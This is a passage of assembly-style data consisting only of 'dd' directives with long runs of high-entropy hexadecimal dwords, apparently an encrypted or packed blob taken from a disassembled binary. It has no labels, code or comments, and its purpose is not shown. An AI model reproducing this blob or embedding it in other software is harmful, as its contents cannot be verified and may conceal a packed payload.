		dd 492F7A05h, 55D13019h, 73446817h, 23E61560h, 0E94C0B05h
		dd 99575970h, 832062C7h, 0E4839C76h, 0E3E28057h, 0D180AA1Ah
		dd 803505E8h, 884A8D02h, 1241972Fh, 0DDBBC3Ch, 5156F0F2h
		dd 259CE8Bh, 5EC0C303h,	68DC499Dh, 9097CE42h, 7945C58Bh
		dd 0F7641211h, 0B1F612D5h, 0E62C3F56h, 0D15B5BD5h, 2A13905Fh
		dd 68527730h, 0F7344B92h, 5DE69347h, 0B441F84Bh, 94DB3BEh
		dd 906213E9h, 85BBD8Dh,	0C1295221h, 63BD0820h, 0D17BE9B4h
		dd 0FECAB720h, 0E908A0EAh, 1366940Ah, 190DBB09h, 0B06FA90Bh
		dd 0C24B31CDh, 0F6330D29h, 2D8A5828h, 0D873305Eh, 0A83E0539h
		dd 42FEE950h, 34EE8020h, 0B63FA87h, 880BC7D5h, 6804A048h
		dd 30AE713Dh, 0FD38BB57h, 0FA876C1Ch, 761DEF93h, 0E4E577A5h
		dd 96D32E3Ch, 5540501Ah, 0EA399378h, 91F293A5h,	0E0B2F4BBh
		dd 7ECC2C2Fh, 95B50B42h, 59997071h, 77220E44h, 545F0092h
		dd 68038819h, 9F9A6672h, 5B54520h, 195C1CB9h, 4E6FA816h
		dd 0C6008E8h, 6B8E7F86h, 572EE80h, 44E92D13h, 5B26B4F7h
		dd 9B552AB0h, 6A25319Ah, 0DE45407Dh, 681BD0AAh,	4D96430Ah
		dd 0F8D25A65h, 0BD7C7A59h, 2D01175Eh, 8783BE8h,	780AA12Eh
		dd 0F20E7B33h, 0EB734B5Ch, 9FDE58ABh, 1AC2FCFEh, 0D2F15F4Dh
		dd 0EC31F909h, 4FB0F4E3h, 70E33Eh, 977B10BFh, 7AB843h
		dd 2993829Eh, 4AA7E9F8h, 44EE71B5h, 6DC1743Ch, 5001648Eh
		dd 0F90070B4h, 0F02796B6h, 0DF0755D1h, 0F545D542h, 0C0957044h
		dd 600F06D9h, 0F21E0C50h, 0BCA10D45h, 4AAA623Dh, 5E990DAEh
		dd 69FF3A0Eh, 13D22E3Ah, 7C9AE0B3h, 0C2709728h,	0FE7BB70Fh
		dd 5EE864C7h, 471B28B9h, 0F8E86540h, 0D64F65D3h, 9350EAE8h
		dd 6288260Eh, 9F8A0B47h, 0DF98F459h, 256BE488h,	0C3581052h
		dd 29556E05h, 0C084F901h, 4A850810h, 0C978CEFBh, 7157C260h
		dd 2ED3605Eh, 0E91807C5h, 0C727508Fh, 0CB351A68h, 94F60C46h
		dd 8EC808A4h, 984A2EA8h, 52C932E9h, 3BC09AD6h, 2337102h
		dd 3ADD6853h, 2077579Eh, 0B63EF36Dh, 0E98B1238h, 0FEEEA1A2h
		dd 0C068D3D7h, 1AB1685Fh, 0F4839895h, 0EF5E96CDh, 0B9322113h
		dd 76C6044Bh, 3F0A0BACh, 3C571F2Ch, 0F8C9D33Ch,	0CAF3F121h
		dd 0E73A427Bh, 10602180h, 9F4F6851h, 0E915F6F3h, 29149343h
		dd 0AD4FA9D7h, 0A45A2998h, 3F85880Ah, 2FD70B3Ch, 0A302FD2Ah
		dd 0CC7768B6h, 8C122721h, 221C2449h, 0CC267C9Eh, 6E89A4A8h
		dd 3198E614h, 541A5138h, 6DFE2E59h, 5DF83B81h, 0B785F289h
		dd 78D8C664h, 0D1447D4Bh, 0F8EA59CDh, 0E26E8537h, 455DFFC8h
		dd 0BC893E0Fh, 0F4641407h, 2D12CA13h, 5C56345Ch, 832F9530h
		dd 39AD3868h, 9731A52Ch, 95E4E871h, 22E9097Dh, 0C5FFFFADh
		dd 529F9634h, 8123FC5Fh, 0AED2F57Fh, 803FC52Fh,	986B839Eh
		dd 0F3876F0Ch, 2443064Eh, 65CEBD1h, 9174A9E9h, 7A6AF607h
		dd 0CE606E01h, 9F91E2Eh, 84C4E928h, 965CA69Ah, 38F1609Fh
		dd 0E3C1D4B4h, 0EA2E04FDh, 4584747Dh, 98634668h, 5E5DF32Ch
		dd 16725D0Eh, 0C1E46B7Eh, 41185529h, 533AB12Fh,	31971A10h
		dd 3B455D42h, 0D9074CF9h, 6F6FC271h, 2FE20A20h,	0D25E93Dh
		dd 0BDEFE820h, 3B8E016Eh, 369AF7B9h, 2BEC3BE7h,	506D6030h
		dd 5917EAB8h, 54A07529h, 0CA810242h, 4AD2E70h, 0E6CDF0F7h
		dd 362C2D05h, 0A90216D6h, 0F4235B1Ah, 93A00969h, 28A5F30h
		dd 4B257BA4h, 59277C25h, 5C9C2C53h, 0DEF85A6Bh,	0F46F1D58h
		dd 2C0AC0D8h, 7FB0E04Ah, 211D3A9Ah, 1A44915Fh, 1A8C2B95h
		dd 0EF7B5B1Eh, 0F47C1145h, 0D329F3EBh, 53CB5FA9h, 7D086AFBh
		dd 0C4412F3Dh, 0E6803B5Fh
		dd 92C4335h, 0F2EFE977h, 0CCB0667Bh, 95CE1630h,	0C6345DE1h
		dd 6297885Ah, 28205564h, 2B6C7B4Dh, 0D0AA534Ah,	654E68EAh
		dd 28B86EE1h, 99CE90F4h, 2717D319h, 6E0FE1C1h, 0EE2D111Eh
		dd 0B1854CD9h, 7A805154h, 7288527Eh, 5AD513FAh,	0E6B0AE5Bh
		dd 25C173F5h, 43D5DCC3h, 959ABE2h, 58E94108h, 0C9817AFCh
		dd 0D164BD5h, 131CF1D8h, 0EA7C77B9h, 915A1CCBh,	0F071C1FAh
		dd 8B9F10F5h, 0D5688978h, 18C6AF0Ah, 36EB2F77h,	99E2D01Eh
		dd 0AEC232D2h, 5125E05Bh, 77459F7Fh, 0DDD49D0Bh, 0EA715D99h
		dd 9E047AAFh, 43BC848h,	27DE0B16h, 86550AAh, 0E27D0C69h
		dd 0F800FDDAh, 16A35439h, 4C0F77Ch, 1E5FE681h, 77DAA257h
		dd 0EBE47A60h, 0CBFBFC24h, 0C10A9B34h, 9398A02h, 5D080F69h
		dd 0AA349A0Fh, 1B17B009h, 2DDD14Ah, 88D54CCh, 0CF30F14h
		dd 998B8CAh, 188B06E3h,	0DC01EBDBh, 1C242A9h, 4B4A2C6Ah
		dd 4AD38718h, 73F79306h, 0E0AAA3D0h, 1703A80Ah,	20D1C1E9h
		dd 0AD51FD11h, 0E6A4794Fh, 7DB929Ch, 5BB1C8BFh,	0A325A6A0h
		dd 0C13BDD95h, 0C7D58C9h, 0B1A64EE9h, 0E5353A14h, 507CC622h
		dd 0ED5C4F38h, 4CDCC67Eh, 10C60493h, 0AA071D45h, 0D795A605h
		dd 52E1E644h, 5FC4C880h, 0DE609FCFh, 4F1F3D42h,	49D4D110h
		dd 588605BBh, 0C14E74C6h, 899BC21Dh, 85ACC1CAh,	5689CF22h
		dd 0EBE5A3D6h, 0F3122EA6h, 5ECC8C49h, 0C7809DB4h, 15CC20EEh
		dd 4152F851h, 1810381Fh, 0C26D8D5Fh, 621B1247h,	0B831016Bh
		dd 2E64080Bh, 71A1091h,	57CABE00h, 0C23BA427h, 5A5949F8h
		dd 44535A8Bh, 7AEAF048h, 6794161Ah, 0E215875Ah,	2F587F69h
		dd 262C0401h, 7DF5E90Eh, 975BB33Ah, 3ABB06AAh, 683C0E9Ah
		dd 23FDE3C8h, 0EFDB170Ah, 9681ED02h, 588657A8h,	0C5072772h
		dd 384C02B4h, 8505B8B3h, 9FFEB7EBh, 4B0BE98Eh, 0D7D4C282h
		dd 0CA20CBEEh, 5A5D2546h, 641632DEh, 0D2C471AEh, 31B31314h
		dd 1958012Fh, 0DF213BD9h, 0EE11C920h, 64B67108h, 1BFE5FE5h
		dd 5648A3BAh, 2F8E0627h, 40C7A72h, 74FCED02h, 29D7C389h
		dd 65D5E998h, 20F2EC9h,	71545189h, 7E688458h, 0BECBEB49h
		dd 0C665BB92h, 0A2C23C71h, 5B92F32Bh, 92432521h, 5FBB1A83h
		dd 0FE9DC219h, 0DD536E83h, 0C081C944h, 822A27BEh, 667D4465h
		dd 3E2930E5h, 8D18F38Dh, 3E17153Dh, 1BAA7D9h, 2DB735D4h
		dd 0F66411E9h, 42DEBD01h, 27876E5Ah, 0B1141B71h, 35A28F8h
		dd 5CC3D2BCh, 0C593E831h, 68550804h, 0FAA347B6h, 2FB9B710h
		dd 0E297DE21h, 0A3C4814Bh, 5F3ADC03h, 0E9EF2971h, 1A8C7863h
		dd 8F1E5058h, 7321241Fh, 5629F7E5h, 0BC9CA584h,	85988FCEh
		dd 2F047334h, 5AAD89C7h, 0D7255E4Ah, 0EBEE57CEh, 0E3AB8D74h
		dd 4B611274h, 0C21F27E3h, 0F86A49DFh, 682F47D0h, 3DBBC6CFh
		dd 9200E0BBh, 0E9D83149h, 74B77A70h, 0E1F25B3Bh, 5E0BB8F4h
		dd 0B6455757h, 0B955F93h, 181B8CF0h, 0F753040h,	0DD1B18F8h
		dd 9D5D014Fh, 41B90A57h, 570E1C90h, 0FAC912BFh,	1D08EE90h
		dd 2781311h, 0A444F878h, 8858940Ch, 6F2C4EFAh, 0F5E2F109h
		dd 7497281Ch, 0CFE97029h, 8ABB444Bh, 0BD426580h, 902935F4h
		dd 0A9EF4BECh, 7B1427E0h, 565A8930h, 9D5E68F6h,	2B7EF4Ch
		dd 0A2090324h, 0FA6638C0h, 44AE0A7Bh, 24C40604h, 0EFF01701h
		dd 0D52135C1h, 0C098A23Ah, 8D73BCEDh, 0BF4D5E53h, 579E4502h
		dd 0AD8F404Eh, 566B776h, 3FDF1749h, 49861A5Ch, 6482FF0Ch
		dd 0B900ED81h, 581B4830h, 89026A0Ch, 4961E636h,	3F1F7A57h
		dd 20B4804h, 0A42145E9h, 94F2295Fh, 83848C6Eh, 849FD59Bh
		dd 5B8546FBh, 0CECE7BBh, 401703BEh, 0AC64B306h,	3EE89347h
		dd 4F948518h, 22FE50EFh, 0F4A0125Ah, 0B4E74C15h, 0F8E09125h
		dd 521EBBB8h, 33892026h, 3698FDA5h, 729DEE88h, 86D02087h
		dd 27B8660Fh, 0AEC42476h, 9E17BDAFh, 7E53FDC9h,	67F173D9h
		dd 0A5357E73h, 0CE5305FBh, 0D33EE848h, 17514BA0h, 0CD348663h
		dd 29D3015h, 23F42D0Fh,	0DDC54955h, 58125DCCh, 0A6AFD721h
		dd 6BE11019h, 1E816366h, 0D916820Bh, 2134E948h,	58803C64h
		dd 0C10FECF1h, 38EC058h, 1206E166h, 0A8DC3450h,	4B846880h
		dd 6493317Eh, 1500327h,	624EA1C0h, 0F3F78132h, 40470CD1h
		dd 5EE7B6C7h, 7C000B4Eh, 0B24CF635h, 7F589D64h,	5EF37B33h
		dd 0A63EB241h, 541A09A0h, 0B605FC3Fh, 0A4F5AD1Fh, 0F3BC85BFh
		dd 0BA8AE492h, 0BB1EDDB4h, 75B35085h, 845B20BEh, 304B670Dh
		dd 0D3D2C2EBh, 1C37B270h, 0D9943417h, 0F4346180h, 276BC98h
		dd 77101575h, 74B9F8F5h, 0CECDE431h, 4324108h, 44CBC47h
		dd 0ECEBBDB2h, 0F9B076CDh, 5D7262B5h, 5CD9CB5Ch, 3C3D883Fh
		dd 298D2311h, 40E0C11Fh, 0D4386A35h, 0A4246880h, 0CBC22D31h
		dd 0C0AF0FEBh, 2D1743CEh, 0F813AA8h, 86621955h,	92C58385h
		dd 906891C8h, 5DB0F8B4h, 0D9EA904Ah, 0ED2C3F73h, 98517255h
		dd 0BD90942h, 63F473BDh, 0A0A9050Fh, 0B5E9D589h, 808C9CC8h
		dd 7C48B268h, 46785E6Dh, 0BC7F76Eh, 97ED57CDh, 20420F08h
		dd 0BE560ED0h, 2B8052F6h, 0E903E6C1h, 72B08827h, 0D38009B6h
		dd 1D059B69h, 8DDEAA2Ah, 1AD9B902h, 4B70068Bh, 355D5CC0h
		dd 48131E4h, 3D0C21EEh,	7B3EF166h, 0DACF4991h, 0C1DD8F84h
		dd 8D6BC3EDh, 665CC113h, 0B3A721EAh, 0C7998041h, 717B26FAh
		dd 24449AC1h, 81BC59D4h, 0EEC088E6h, 7840ED06h,	4CEF4EA1h
		dd 5145913Dh, 1889885Ch, 0F1D75330h, 0CA501DACh, 1DE18014h
		dd 0E92BC005h, 5E567A5Dh, 17E59EACh, 0E9D14284h, 47DD3C2Dh
		dd 0CFFE0B48h, 0F3F2A3D0h, 0E91D58B5h, 5B602F25h, 0B2585B9Bh
		dd 0D225784Dh, 304C6605h, 0C5FDE6D6h, 3270950h,	73AED0C8h
		dd 62BFB129h, 795DFB01h, 0BB5697FFh, 35C15BD4h,	8321F8A4h
		dd 0CB92E4ECh, 0AEFCDF6Dh, 14BCE80Ah, 747FEE03h, 0BE0C0529h
		dd 0FF183776h, 3CFA4F48h, 27A75982h, 48EB32FFh,	15BA30C3h
		dd 7835BD8h, 0E95A910Bh, 499E7890h, 680B9A58h, 0FBD6432Dh
		dd 52F548D2h, 1F802F68h, 3F2706E6h, 0A8E6944Bh,	6A8E47h
		dd 85BF088Dh, 31141F68h, 2C8EC79Dh, 579030B4h, 60B55F52h
		dd 3559624Dh, 2C42F48h,	539A6CEAh, 0B167E57h, 477D5FFEh
		dd 17A0247Ch, 106CA28Dh, 5F3E34E8h, 89E69992h, 8F026B23h
		dd 0F6D1300Ch, 0C68809A7h, 5E933355h, 0BA74BB34h, 0E9F0C2E8h
		dd 408225A4h, 0E1074CA5h, 8470EC7Eh, 580B4011h,	71EF63D8h
		dd 0D2052B43h, 0A0BBC8B2h, 0CF4CE20Ah, 1EDD3B60h, 0F45C5CE4h
		dd 1905F612h, 12FB35ECh, 0EAD613CEh, 63EA7640h,	904F1203h
		dd 0D2F39D0Ch, 3607FE3Bh, 60E03544h, 82FB0B94h,	0E4786F69h
		dd 0BB685E09h, 4A9F4653h, 0E8C63501h, 4F730B91h, 0DA1E0E70h
		dd 2DB8106h, 0FFCA1FA8h, 78CB97F9h, 96C6B06Ah, 9BA04B2Dh
		dd 0E96D9C0Dh, 9A00145Ah, 0F75F5E57h, 4F6874D6h, 2CC23079h
		dd 36172605h, 0A6B0C183h, 0FF475E18h, 0F4AF2675h, 0F9909C52h
		dd 87EA064Ah, 817A5BEEh, 2696199h, 5FDCB102h, 5BDE69A2h
		dd 2C01F42h, 0EA2D40B9h, 0FCF65020h, 35FCB5A1h,	7505DEE2h
		dd 0F7202266h, 9C290F1h, 6BE36C14h, 60E0F25Dh, 4D31843h
		dd 1094F555h, 0DE1AC025h, 8822C15Ah, 3B0858E7h,	33E98B98h
		dd 0E821FA02h, 6F58C791h, 0E91E8EF3h, 5C59674Fh, 817ECA27h
		dd 0AE459CA1h, 60C7C03Bh, 505A9640h, 84014A9h, 0CBD2AE9h
		dd 91D150BBh, 2A989DC1h
		dd 0E125188Bh, 5182DE7Ch, 0A107F1C1h, 0E7131824h, 16EDE0Bh
		dd 0F15FAB3Fh, 9AB80B60h, 8A584A36h, 0C48C41C4h, 4E2C950Fh
		dd 522D23C1h, 954E801h,	26E96A0Eh, 0D3556062h, 0F8E8925Bh
		dd 0E8EE2746h, 724385EAh, 947BADEh, 2164EA4Dh, 0DF12675Ch
		dd 0AB5AD1E8h, 0AC4A9F2Eh, 5958855Dh, 0BFD79A93h, 0C9EF9AF4h
		dd 5E78FC87h, 0ECE5BBA8h, 6FC6341Dh, 0EB3F581h,	0E2E429Fh
		dd 0F7204920h, 3CA168D1h, 0AA4019BDh, 0BB50E30h, 1AE9F931h
		dd 68597460h, 0E6333627h, 45A8303Ch, 5101EFFBh,	755E8CB8h
		dd 0E6EF74EAh, 8661197Eh, 0A92BDADBh, 508E8916h, 41769543h
		dd 0C45EF953h, 94C15C9Dh, 0CA029306h, 42568639h, 8214BB61h
		dd 0C34FEAF9h, 0C9D78315h, 0F617025Fh, 7FD26784h, 97B6755h
		dd 0F3556C29h, 68580219h, 56C5269h, 0DB13CA0Bh,	4123F454h
		dd 6A100D68h, 0BD8409CAh, 4B5DB382h, 97C977F2h,	3F4CE529h
		dd 12536873h, 97573CBEh, 0B8CC3705h, 0FB7D5ACBh, 25E9566Ch
		dd 5C3B5F7Eh, 0C2F06B40h, 0AC8C3D4Fh, 0AC4C4B11h, 2AE2945Dh
		dd 0F845DD6Ah, 0DB4BEA3Ah, 72C7DF54h, 0E95E2DB0h, 560097F1h
		dd 28204D35h, 17EA404Bh, 9399C09Eh, 0E248FCE9h,	656A81A0h
		dd 56254119h, 4034B2F9h, 3F68B75Eh, 2B48DB17h, 647B12B0h
		dd 0D021CF09h, 1E2F5B90h, 3C968D3Bh, 0D7B22B0Ah, 67E6AF92h
		dd 25DBE91Eh, 3E1E65DDh, 660B4AB0h, 4E741A2Dh, 0B4F0293Bh
		dd 0A2BB0E05h, 0C331C1C5h, 123E2BE9h, 0C0DE80B3h, 0FA7C0C03h
		dd 18FCC431h, 2961515Dh, 2B292AE5h, 4D431827h, 2869A9DAh
		dd 92E6824Fh, 5C125B0Dh, 0BA230933h, 9FC874D9h,	0B2E1802h
		dd 0E1812036h, 0DE2631E7h, 0D42E985Eh, 2DAA0213h, 1AE30005h
		dd 7B1DA43Bh, 918251BFh, 0C0F701D3h, 4DE9FB15h,	6816D569h
		dd 0AD88BB3Ch, 203DB851h, 0FEB03691h, 77270C98h, 88FD7149h
		dd 65258A31h, 0A9D7201Fh, 0A96E5712h, 4AD1E4C8h, 0C57935CDh
		dd 7B12A258h, 0EC722955h, 0CE944672h, 2941044Fh, 200F0516h
		dd 0F04CBA6Dh, 658E313Fh, 975C14CBh, 67A6E2DAh,	8120B84Ch
		dd 0BF72B53Dh, 88C2F55Eh, 0E0D9755Ah, 0E3ECE845h, 5ECA09DEh
		dd 129B2BB0h, 0B5519A38h, 0CBAAA45Fh, 82E6D33Fh, 97ECA10h
		dd 2386866h, 6E4BEB1Fh,	280DA84Dh, 415C09D7h, 62780DE9h
		dd 0FC0E12A2h, 13AE44E1h, 43C2F846h, 62668DA8h,	0E33BB089h
		dd 0C881768h, 579FC606h, 5AC204A5h, 0C155B87Bh,	0C13936C5h
		dd 0B2BC2877h, 60134AE0h, 1702EB11h, 8549D001h,	92EF0178h
		dd 8277335Ch, 0AD461DF8h, 366A5D6Ch, 4B4B080Bh,	0ED5CED82h
		dd 90FD5740h, 76F14831h, 1A07597Fh, 9AB85000h, 0D1DFC11h
		dd 2759D20Fh, 0A47CA622h, 0CBFE1A3Eh, 97C18CC0h, 7C57C20Ch
		dd 827FD263h, 0D76E33DEh, 0D144E898h, 3CED8BC0h, 0C121B71Eh
		dd 8535D40Ch, 165C6061h, 0D1B39509h, 21AFE29h, 0C3215DE8h
		dd 311602DDh, 0CAE5D783h, 5B171124h, 0B2BF0FC0h, 180B126Dh
		dd 0F9678157h, 3A70C97Ch, 0A1C38D2Ch, 0D06F5F0Fh, 16396FC3h
		dd 0ED934D4Ah, 7654D09Ah, 0F35C5B01h, 0A10C41D7h, 0F42F1C28h
		dd 6C08C9B6h, 0EA752749h, 60FF1Dh, 0F1B4E1CFh, 10742449h
		dd 0AD705E09h, 0F637C0B5h, 888DB657h, 5E124DCBh, 7D659D09h
		dd 7E97E516h, 0A74862EFh, 0DCD3F269h, 35C96418h, 212F0FC1h
		dd 14D61FB6h, 0CA606BF8h, 25C5562Ah, 74BF855Ah,	0EBF01336h
		dd 0F0D61E4h, 1ADE30D3h, 0BA984B44h, 78F8C7CCh,	18579FF3h
		dd 9F3ED455h, 7E771092h, 0EF7A429Eh, 0F4BF9A46h, 67CB4F8Ch
		dd 6C53FFC1h, 1BC2062Ah, 0B0DD5C4Dh, 0FEFA4EB3h, 4C02534h
		dd 28750CB6h, 9E24571h,	98680BF5h, 0DF06603h, 11057600h
		dd 2D496318h, 342B14A2h, 3E67B815h, 0D2860B8h, 0EA7CC581h
		dd 43080C24h, 0A73BCA8h, 0E93F231Dh, 22232192h,	63FFD1B7h
		dd 0FC5E523Ch, 0F9064FE6h, 60A3C997h, 2CB55EE6h, 32FA7041h
		dd 0DA2F0896h, 2A50B563h, 7C3C982Dh, 5FF9E2FBh,	18696976h
		dd 0D6AF3513h, 2025E15Eh, 0EF3B68CDh, 0EBC12913h, 135BE78Eh
		dd 5F26DFAFh, 0BF0900BFh, 4149756Dh, 970931B0h,	22BEB68Ah
		dd 3517D45h, 0CEB9D787h, 7957C269h, 667D6BA4h, 92EF4D54h
		dd 756BC74Fh, 93A4A4E3h, 4AC40716h, 7FEA4F0Fh, 5AF86613h
		dd 0DBE1E9E0h, 0C3A7689Dh, 85091759h, 0D1F90054h, 5F0D6921h
		dd 475D54BDh, 187F6BA7h, 1FA2BF5Ch, 927A5466h, 6FDAA11Ch
		dd 0DAA921ECh, 96C07175h, 954D555h, 71DB3689h, 79685601h
		dd 0E02BD64Bh, 0AA0BEE78h, 0D577A737h, 0B8C86C9Ah, 317533FEh
		dd 50D6098Ah, 0BACD9F7Fh, 9220A8A8h, 1688B0CBh,	41F73BC9h
		dd 25067315h, 4EA928D9h, 67398CB6h, 5E4D8ECBh, 0E94138BBh
		dd 0D590142Ah, 0D36DF309h, 7A32DDF9h, 104BB079h, 0BE386264h
		dd 9CF39AC0h, 0E462EA7Dh, 2DC5277Ah, 0CB4DE866h, 0C15C0B7Fh
		dd 0C04F0E7h, 31EB1BE1h, 3F123D0Ch, 87B17701h, 2E051266h
		dd 87782B0Ah, 0C305F492h, 0BB03560Eh, 420B3BC2h, 0B8F2B067h
		dd 97710445h, 0F869D6E9h, 3CEF4AF2h, 5592EA25h,	28E16815h
		dd 5B1381DDh, 0CD607EC9h, 5835FE9h, 0BE9A681Fh,	4165E9D8h
		dd 26FE6018h, 74B57270h, 22557A52h, 0D336CBFCh,	0E935966Ch
		dd 0EDD49E4h, 7488D101h, 8BEA4A5Fh, 5D9D8DC5h, 95145C39h
		dd 259694DBh, 894F8549h, 80047E55h, 0AEF2FB9Eh,	6E933178h
		dd 21DCF610h, 39D4F948h, 3FCBDE6Fh, 8C2FD46Fh, 3120B6E8h
		dd 8990FB7Dh, 0C3800EC3h, 280626E7h, 90FE3B88h,	69D39F43h
		dd 7727AC0Bh, 0F848C919h, 579D357Fh, 0E924849Ch, 0F78925B9h
		dd 0E5EB00D3h, 48536242h, 200C4543h, 0A45A1AFCh, 1302E849h
		dd 0F209EF01h, 5AAF0458h, 0CA02480Bh, 82569D3Dh, 6013D880h
		dd 68DA8739h, 39C064Bh,	2EFC0D4Ah, 0E43180A4h, 0A3A3B573h
		dd 27DDD3E8h, 9F3158B5h, 2BD2372h, 0BA7D017h, 4C7327F6h
		dd 4A071808h, 9463E759h, 962CFBEEh, 693A0CCEh, 574854A7h
		dd 7D73F02h, 0D97E3E68h, 1696821Ah, 80A0268Ch, 5F4A0911h
		dd 2F04D2DDh, 0A7EA38A8h, 0CFE318C7h, 78D6F7A2h, 5C5F46h
		dd 161B051Ah, 74C20CB8h, 8BB92531h, 20DE7CA0h, 0A0D3B508h
		dd 0DEB5029Ah, 64172E5Fh, 0FFFDBF66h, 0FC484312h, 515CC1D2h
		dd 0AA2F49B5h, 0E9092A2Bh, 9B5F3EBBh, 6BF7C964h, 680B8126h
		dd 0BC546007h, 93546D60h, 55593F47h, 4E209082h,	775D26h
		dd 72BA2D20h, 840B5F4Bh, 0DF071AA2h, 44E461h, 2428C62Dh
		dd 0BED0F968h, 90869A93h, 2A418C5Ah, 4A481E48h,	0E94B0B80h
		dd 5D0A5FEEh, 85C9D64Ah, 4E33A811h, 88AC77FAh, 6BA96562h
		dd 0A33E024Ch, 0EE295E47h, 0FA95C47Dh, 0E8C7B7A8h, 0C328AD21h
		dd 38FB767Ch, 77E2A725h, 0F7B4A061h, 67DF18EDh,	0E2352825h
		dd 0E45FB415h, 8AE5B551h, 8E5A8310h, 7E8F4B8Ah,	41808317h
		dd 4077B07Dh, 0CD6E8303h, 98285147h, 0C204E7C1h, 0BB1CE68Eh
		dd 0C4626DE0h, 680419BBh, 1AB827C9h, 0DE2642C9h, 8312A058h
		dd 0A6B03146h, 151452BAh, 0B8775416h, 4D84E517h, 0DF195BC7h
		dd 0E915F0B6h, 1A754E4h, 0E25F4E3h, 0C0DAC151h,	0C07D0B47h
		dd 6082EB5Fh, 0BF0877h,	0D803C35Ah, 0A9FC9712h,	0FFA00820h
		dd 88093660h, 0DDF767h,	0E93E2AD6h, 6558BF70h, 500E04Bh
		dd 0D76157B9h, 6BD1FCF4h, 0BD5F1BCh, 0D92DFEE9h, 40A32BEAh
		dd 0C0CC0B93h, 50012F90h, 32720h, 80DF2E3Ah, 0A3E9DE31h
		dd 73EA31BAh, 0AE59334Eh
		dd 0C8202812h, 3731B28Ah, 6073108Fh, 386E61BFh,	1352F75Ch
		dd 67EE3A6Dh, 3F11A26Fh, 0C0E6F955h, 47195DA2h,	94BAE975h
		dd 4BD75BB5h, 0DB98D5Fh, 9496B028h, 4A2B80DAh, 5913EC88h
		dd 0FBECAB68h, 6FE2DFDEh, 4F9F27D8h, 0B569272h,	0CD6B6FE3h
		dd 0B252F217h, 7840A53h, 0C243B2EBh, 0D6022AE9h, 0CCC6AD80h
		dd 418E02BFh, 665A0064h, 4850262Dh, 6B4F37AFh, 531F01ADh
		dd 5AB98651h, 0CB121404h, 0E1C4F2E9h, 0A5CA4AEh, 2768F640h
		dd 0C7185D9Fh, 8880A856h, 388ECCFDh, 3E5EEC29h,	7EAC6631h
		dd 51804772h, 8801F3B9h, 17BC2E4Ah, 0BD388050h,	0DECBC3D6h
		dd 945E2FA7h, 4BEAEBC4h, 4157ED50h, 0F97B5C70h,	32498633h
		dd 16F1B726h, 981D3B66h, 0FAEAB738h, 0D4CBE774h, 0B850810Bh
		dd 30F960BEh, 80F3C6A9h, 8A7BF734h, 9609E925h, 0F6B801C3h
		dd 2E45F57Ch, 0E90B8DA7h, 6D2617Ah, 3265A97h, 529D2D5Bh
		dd 0AADC1FCCh, 0FA4B1AECh, 0E4123ACBh, 0D264AA31h, 533474F0h
		dd 2578B460h, 6E710ADDh, 9B1D0880h, 1798BD13h, 0BC302206h
		dd 0A5804E73h, 7E7748C5h, 770997D4h, 0B106477h,	0CD1FE950h
		dd 895F2729h, 0B42DFFDh, 0A03826D4h, 94BB5E55h,	91F8EA8Ah
		dd 941C5734h, 0AE29BA2Dh, 1305DC6Ah, 0D5028997h, 628049DBh
		dd 0E9655348h, 23C96D8h, 1068F031h, 9D354675h, 134F6476h
		dd 3B512DBAh, 0E982ABF2h, 1975AD85h, 0CB50D5DCh, 60E5C15Dh
		dd 0ED810705h, 643D13FCh, 31FE0062h, 0B8E91DC9h, 7CDB9535h
		dd 7C179BBDh, 58D0F844h, 296637D1h, 46627CCBh, 2D93C5D0h
		dd 201CDF57h, 45E95F09h, 9580E689h, 7FBFEB91h, 276B08F5h
		dd 0AF332513h, 7BF57361h, 0F8822954h, 0FC14DF6Fh, 0F85A3190h
		dd 542C59C1h, 0B6E488C9h, 63D19F33h, 5993E2h, 633B6EBEh
		dd 5866648h, 0B1B6924Dh, 312F09AAh, 4DF42609h, 5467E942h
		dd 0A6CA21A9h, 6230045h, 8CE96DD1h, 89CF8BBFh, 2873F54Fh
		dd 480C8668h, 5A68F14Eh, 0E46BA802h, 60C20284h,	8B3A59ECh
		dd 95C454D0h, 8D685702h, 90678E2Bh, 82EFD895h, 0DD3B6B55h
		dd 0A63074F1h, 32030F83h, 56943175h, 170111DEh,	0CCFE8968h
		dd 0D6188559h, 1E268AB1h, 69592F45h, 321D2474h,	563E1AE5h
		dd 14FA8CA8h, 735D2E4Dh, 594B8423h, 7885E6BEh, 0B6FFFCD2h
		dd 935B0FAFh, 6FDA0E92h, 0D0466D05h, 0B36FC2C9h, 9AE9A3BFh
		dd 0C3D65543h, 9792F650h, 2CF98120h, 0BA070B23h, 29FA5A28h
		dd 95EF210h, 0A083F0D7h, 9E2EE9A8h, 0AE5F12FBh,	0D5EFC774h
		dd 0EB5E8084h, 4704356Bh, 3E636823h, 37C998A8h,	7AECFD8h
		dd 0C9F1810Fh, 77324957h, 4464A780h, 0F771874Fh, 1646D64Ch
		dd 0A33089D2h, 2E7A08B9h, 13213554h, 5ECF0B41h,	772A2A73h
		dd 84943A7Ch, 55175383h, 7CB4DA5Bh, 2DA028E6h, 4F5215Ah
		dd 290BEBA1h, 0D9FE805Fh, 0FA739E26h, 0B8804B8Ah, 6F139ED7h
		dd 8E6FE1E1h, 0E953050Ah, 16CF7C69h, 1A20FE76h,	503C0D3Fh
		dd 3E08D288h, 6BEF0798h, 51285AD6h, 7D0B8956h, 8239F422h
		dd 83327Ah, 0E6085DB4h,	97BC6662h, 111CDD51h, 5540A6B0h
		dd 3C13DCBAh, 0D391257Bh, 9DB6ECDFh, 2A0A87C1h,	663219CFh
		dd 0A5F551D1h, 9AA8D92Dh, 0A075B616h, 0D667F662h, 0EB82530Ah
		dd 34F0779Ah, 8CB5AEAh,	0EAA4DAAAh, 6CB40250h, 3AB75366h
		dd 0B353E1h, 1EAEE581h,	0CB71613Ch, 94F4CFBDh, 0F510DD69h
		dd 1BCAEA34h, 571CE0E8h, 4A657F25h, 75A3E9E2h, 59A5B3E8h
		dd 0FA61632Ch, 0A20740E2h, 0B2E05A2h, 92384F56h, 8CBEEE28h
		dd 3953074h, 76C574AFh,	2E590BC5h, 28FD1634h, 4228081Bh
		dd 25EBE820h, 57FE6768h, 55E6BAC2h, 7F6BDA76h, 2DC15690h
		dd 44CA71B7h, 5EFDFC99h, 34D677BEh, 1988BEE0h, 4E882D68h
		dd 82A84C19h, 0FE8FB145h, 0AA7E7DC9h, 0E1CCB81Ch, 5CD60C3Bh
		dd 0E91F1F28h, 0C07E3006h, 0E2A003E3h, 0DC7D88D3h, 6845822Dh
		dd 0E804635Ch, 4640312Dh, 90254108h, 0D11287F0h, 2CBBA8EFh
		dd 0CFE29076h, 0F57CA949h, 163FAF71h, 244474EEh, 4BAC207Fh
